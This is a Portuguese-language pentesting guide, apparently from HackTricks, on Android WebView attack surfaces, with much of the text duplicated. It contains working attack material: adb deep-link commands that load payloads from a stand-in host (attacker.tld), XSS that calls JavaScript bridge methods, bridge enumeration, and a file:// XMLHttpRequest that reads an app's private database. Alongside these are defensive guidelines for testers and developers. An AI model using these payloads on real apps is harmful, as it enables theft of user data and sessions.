352 lines
19 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Webview Attacks
{{#include ../../banners/hacktricks-training.md}}
## Guia sobre Configurações e Segurança do WebView
### Visão Geral das Vulnerabilidades do WebView
Um aspecto crítico do desenvolvimento Android envolve o manuseio correto dos WebViews. Este guia destaca configurações chave e práticas de segurança para mitigar riscos associados ao uso do WebView.
![WebView Example](<../../images/image (1190).png>)
### **Acesso a Arquivos em WebViews**
Por padrão, os WebViews permitem acesso a arquivos. Essa funcionalidade é controlada pelo método `setAllowFileAccess()`, disponível desde o nível de API 3 do Android (Cupcake 1.5). Aplicativos com a permissão **android.permission.READ_EXTERNAL_STORAGE** podem ler arquivos do armazenamento externo usando um esquema de URL de arquivo (`file://path/to/file`).
#### **Recursos Obsoletos: Acesso Universal e Acesso a Arquivos de URLs**
- **Acesso Universal de URLs de Arquivo**: Este recurso obsoleto permitia solicitações de origem cruzada de URLs de arquivo, representando um risco significativo de segurança devido a potenciais ataques XSS. A configuração padrão está desativada (`false`) para aplicativos que visam Android Jelly Bean e versões mais recentes.
- Para verificar esta configuração, use `getAllowUniversalAccessFromFileURLs()`.
- Para modificar esta configuração, use `setAllowUniversalAccessFromFileURLs(boolean)`.
- **Acesso a Arquivos de URLs de Arquivo**: Este recurso, também obsoleto, controlava o acesso ao conteúdo de outros URLs de esquema de arquivo. Assim como o acesso universal, seu padrão é desativado para maior segurança.
- Use `getAllowFileAccessFromFileURLs()` para verificar e `setAllowFileAccessFromFileURLs(boolean)` para definir.
#### **Carregamento Seguro de Arquivos**
Para desabilitar o acesso ao sistema de arquivos enquanto ainda acessa ativos e recursos, o método `setAllowFileAccess()` é utilizado. Com o Android R e versões superiores, a configuração padrão é `false`.
- Verifique com `getAllowFileAccess()`.
- Ative ou desative com `setAllowFileAccess(boolean)`.
#### **WebViewAssetLoader**
A classe **WebViewAssetLoader** é a abordagem moderna para carregar arquivos locais. Ela usa URLs http(s) para acessar ativos e recursos locais, alinhando-se à política de Same-Origin, facilitando assim a gestão de CORS.
### loadUrl
Esta é uma função comum usada para carregar URLs arbitrárias em um webview:
```java
webview.loadUrl("<url here>")
```
Claro, um potencial atacante nunca deve ser capaz de **controlar a URL** que um aplicativo vai carregar.
### **Manipulação de JavaScript e Intent Scheme**
- **JavaScript**: Desativado por padrão em WebViews, pode ser ativado via `setJavaScriptEnabled()`. Cuidado é aconselhado, pois ativar JavaScript sem as devidas salvaguardas pode introduzir vulnerabilidades de segurança.
- **Intent Scheme**: WebViews podem manipular o esquema `intent`, potencialmente levando a explorações se não forem gerenciados com cuidado. Uma vulnerabilidade de exemplo envolveu um parâmetro WebView exposto "support_url" que poderia ser explorado para executar ataques de cross-site scripting (XSS).
![Vulnerable WebView](<../../images/image (1191).png>)
Exemplo de exploração usando adb:
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"
```
### Javascript Bridge
Um recurso é fornecido pelo Android que permite que **JavaScript** em um WebView invoque **funções nativas de aplicativos Android**. Isso é alcançado utilizando o método `addJavascriptInterface`, que integra JavaScript com funcionalidades nativas do Android, denominado como um _WebView JavaScript bridge_. Cuidado é aconselhado, pois este método permite que todas as páginas dentro do WebView acessem o objeto de Interface JavaScript registrado, representando um risco de segurança se informações sensíveis forem expostas através dessas interfaces.
- **Extrema cautela é necessária** para aplicativos que visam versões do Android abaixo de 4.2 devido a uma vulnerabilidade que permite a execução remota de código através de JavaScript malicioso, explorando reflexão.
#### Implementando um JavaScript Bridge
- **Interfaces JavaScript** podem interagir com código nativo, como mostrado nos exemplos onde um método de classe é exposto ao JavaScript:
```javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
```
- A ponte JavaScript é ativada adicionando uma interface ao WebView:
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
```
- A exploração potencial através do JavaScript, por exemplo, via um ataque XSS, permite a chamada de métodos Java expostos:
```html
<script>
alert(javascriptBridge.getSecret())
</script>
```
- Para mitigar riscos, **restrinja o uso da ponte JavaScript** ao código enviado com o APK e impeça o carregamento de JavaScript de fontes remotas. Para dispositivos mais antigos, defina o nível mínimo da API como 17.
### Execução Remota de Código Baseada em Reflexão (RCE)
- Um método documentado permite alcançar RCE através da reflexão, executando um payload específico. No entanto, a anotação `@JavascriptInterface` impede o acesso não autorizado a métodos, limitando a superfície de ataque.
### Depuração Remota
- **Depuração remota** é possível com **Chrome Developer Tools**, permitindo interação e execução arbitrária de JavaScript dentro do conteúdo do WebView.
#### Habilitando a Depuração Remota
- A depuração remota pode ser habilitada para todos os WebViews dentro de um aplicativo através de:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
- Para habilitar condicionalmente a depuração com base no estado de depuração do aplicativo:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## Exfiltrar arquivos arbitrários
- Demonstra a exfiltração de arquivos arbitrários usando um XMLHttpRequest:
```javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
```
# Webview Attacks
## Guia sobre Configurações e Segurança do WebView
### Visão Geral das Vulnerabilidades do WebView
Um aspecto crítico do desenvolvimento Android envolve o manuseio correto dos WebViews. Este guia destaca configurações e práticas de segurança essenciais para mitigar riscos associados ao uso do WebView.
![WebView Example](<../../images/image (1190).png>)
### **Acesso a Arquivos em WebViews**
Por padrão, os WebViews permitem acesso a arquivos. Essa funcionalidade é controlada pelo método `setAllowFileAccess()`, disponível desde o nível de API 3 do Android (Cupcake 1.5). Aplicativos com a permissão **android.permission.READ_EXTERNAL_STORAGE** podem ler arquivos do armazenamento externo usando um esquema de URL de arquivo (`file://path/to/file`).
#### **Recursos Obsoletos: Acesso Universal e Acesso a Arquivos de URLs**
- **Acesso Universal de URLs de Arquivo**: Este recurso obsoleto permitia solicitações de origem cruzada de URLs de arquivo, representando um risco significativo de segurança devido a possíveis ataques XSS. A configuração padrão está desativada (`false`) para aplicativos que visam Android Jelly Bean e versões mais recentes.
- Para verificar esta configuração, use `getAllowUniversalAccessFromFileURLs()`.
- Para modificar esta configuração, use `setAllowUniversalAccessFromFileURLs(boolean)`.
- **Acesso a Arquivos de URLs de Arquivo**: Este recurso, também obsoleto, controlava o acesso ao conteúdo de outros URLs de esquema de arquivo. Assim como o acesso universal, seu padrão é desativado para maior segurança.
- Use `getAllowFileAccessFromFileURLs()` para verificar e `setAllowFileAccessFromFileURLs(boolean)` para definir.
#### **Carregamento Seguro de Arquivos**
Para desabilitar o acesso ao sistema de arquivos enquanto ainda acessa ativos e recursos, o método `setAllowFileAccess()` é utilizado. Com o Android R e versões superiores, a configuração padrão é `false`.
- Verifique com `getAllowFileAccess()`.
- Ative ou desative com `setAllowFileAccess(boolean)`.
#### **WebViewAssetLoader**
A classe **WebViewAssetLoader** é a abordagem moderna para carregar arquivos locais. Ela usa URLs http(s) para acessar ativos e recursos locais, alinhando-se à política de Same-Origin, facilitando assim a gestão de CORS.
### loadUrl
Esta é uma função comum usada para carregar URLs arbitrárias em um webview:
```java
webview.loadUrl("<url here>")
```
Claro, um potencial atacante nunca deve ser capaz de **controlar a URL** que um aplicativo vai carregar.
### Deep-linking em WebView interno (esquema personalizado → sink WebView)
Muitos aplicativos registram esquemas/caminhos personalizados que direcionam uma URL fornecida pelo usuário para um WebView dentro do aplicativo. Se o deep link for exportado (VIEW + BROWSABLE), um atacante pode forçar o aplicativo a renderizar conteúdo remoto arbitrário dentro de seu contexto WebView.
Padrão típico de manifesto (simplificado):
```xml
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
```
Fluxo de código comum (simplificado):
```java
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
```
Padrão de ataque e PoC via adb:
```bash
# Template force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Impact: a página remota é executada no contexto do WebView do aplicativo (cookies/sessão do perfil do WebView do aplicativo, acesso a qualquer @JavascriptInterface exposto, acesso potencial a content:// e file:// dependendo das configurações).
Dicas de caça:
- Grep fontes decompiladas para `getQueryParameter("url")`, `loadUrl(`, afundamentos do `WebView` e manipuladores de deep-link (`onCreate/onNewIntent`).
- Revise o manifesto para filtros VIEW+BROWSABLE e esquemas/hospedeiros personalizados que mapeiam para atividades que posteriormente iniciam um WebView.
- Verifique se há múltiplos caminhos de deep-link (por exemplo, um caminho de “navegador externo” vs. um caminho de “webview interno”) e prefira aquele que é renderizado dentro do aplicativo.
### Habilitando JavaScript antes da verificação (bug de ordem de verificações)
Um erro comum de endurecimento é habilitar JavaScript ou configurar configurações de WebView relaxadas antes que a lista de permissão/verificação final da URL de destino seja concluída. Se a verificação for inconsistente entre os auxiliares ou acontecer muito tarde, um link profundo de um atacante pode alcançar um estado onde:
1) As configurações do WebView se aplicam (por exemplo, `setJavaScriptEnabled(true)`), e
2) A URL não confiável é carregada com JavaScript habilitado.
Padrão de bug (pseudocódigo):
```java
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late JS already enabled
// 4) Load
webView.loadUrl(u.toString());
```
Por que é explorável
- Normalização inconsistente: os helpers dividem/reconstruem a URL de forma diferente da verificação final, criando discrepâncias que uma URL maliciosa pode explorar.
- Pipeline desordenado: habilitar JS na etapa 2 se aplica globalmente à instância do WebView, afetando o carregamento final mesmo que a verificação falhe posteriormente.
Como testar
- Crie payloads de deep-link que passem nas verificações iniciais e cheguem ao site de configuração do WebView.
- Use adb para disparar intents IMPLICIT VIEW entregando um parâmetro `url=` controlado por você:
```bash
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Se a exploração for bem-sucedida, seu payload executa JavaScript no WebView do aplicativo. A partir daí, procure por bridges expostas:
```html
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
```
Diretrizes defensivas
- Canonicalize uma vez; valide estritamente contra uma única fonte de verdade (esquema/host/caminho/query).
- Chame `setJavaScriptEnabled(true)` somente após todas as verificações da lista de permissões passarem e logo antes de carregar conteúdo confiável.
- Evite expor `@JavascriptInterface` a origens não confiáveis; prefira controle por origem.
- Considere instâncias por WebView para conteúdo confiável vs não confiável, com JS desativado por padrão.
### **Manipulação de JavaScript e Esquema de Intent**
- **JavaScript**: Desativado por padrão em WebViews, pode ser ativado via `setJavaScriptEnabled()`. Cuidado é aconselhado, pois ativar JavaScript sem as devidas salvaguardas pode introduzir vulnerabilidades de segurança.
- **Esquema de Intent**: WebViews podem manipular o esquema `intent`, potencialmente levando a explorações se não forem gerenciadas com cuidado. Um exemplo de vulnerabilidade envolveu um parâmetro de WebView exposto "support_url" que poderia ser explorado para executar ataques de cross-site scripting (XSS).
![WebView Vulnerável](<../../images/image (1191).png>)
Exemplo de exploração usando adb:
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"
```
### Javascript Bridge
Um recurso é fornecido pelo Android que permite que **JavaScript** em um WebView invoque **funções nativas de aplicativos Android**. Isso é alcançado utilizando o método `addJavascriptInterface`, que integra JavaScript com funcionalidades nativas do Android, denominado como um _WebView JavaScript bridge_. Cuidado é aconselhado, pois este método permite que todas as páginas dentro do WebView acessem o objeto de Interface JavaScript registrado, representando um risco de segurança se informações sensíveis forem expostas através dessas interfaces.
- **Extrema cautela é necessária** para aplicativos que visam versões do Android abaixo de 4.2 devido a uma vulnerabilidade que permite a execução remota de código através de JavaScript malicioso, explorando reflexão.
#### Implementando um JavaScript Bridge
- **Interfaces JavaScript** podem interagir com código nativo, como mostrado nos exemplos onde um método de classe é exposto ao JavaScript:
```javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
```
- A ponte JavaScript é ativada adicionando uma interface ao WebView:
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
```
- A exploração potencial através do JavaScript, por exemplo, via um ataque XSS, permite a chamada de métodos Java expostos:
```html
<script>
alert(javascriptBridge.getSecret())
</script>
```
- Para mitigar riscos, **restrinja o uso da ponte JavaScript** ao código enviado com o APK e impeça o carregamento de JavaScript de fontes remotas. Para dispositivos mais antigos, defina o nível mínimo da API para 17.
### Execução Remota de Código Baseada em Reflexão (RCE)
- Um método documentado permite alcançar RCE através da reflexão, executando um payload específico. No entanto, a anotação `@JavascriptInterface` impede o acesso não autorizado a métodos, limitando a superfície de ataque.
### Depuração Remota
- **Depuração remota** é possível com **Chrome Developer Tools**, permitindo interação e execução arbitrária de JavaScript dentro do conteúdo do WebView.
#### Habilitando a Depuração Remota
- A depuração remota pode ser habilitada para todos os WebViews dentro de um aplicativo por:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
- Para habilitar condicionalmente a depuração com base no estado de depuração do aplicativo:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## Exfiltrar arquivos arbitrários
- Demonstra a exfiltração de arquivos arbitrários usando um XMLHttpRequest:
```javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
```
## Referências
- [Review of Android WebViews file access attack vectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
- [WheresMyBrowser.Android (demo app)](https://github.com/authenticationfailure/WheresMyBrowser.Android)
- [Android WebView reference](https://developer.android.com/reference/android/webkit/WebView)
- [Deep Links & WebViews Exploitations Part II](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
- [Deep Links & WebViews Exploitations Part I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
- [Pwn2Own Ireland 2024 Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)
{{#include ../../banners/hacktricks-training.md}}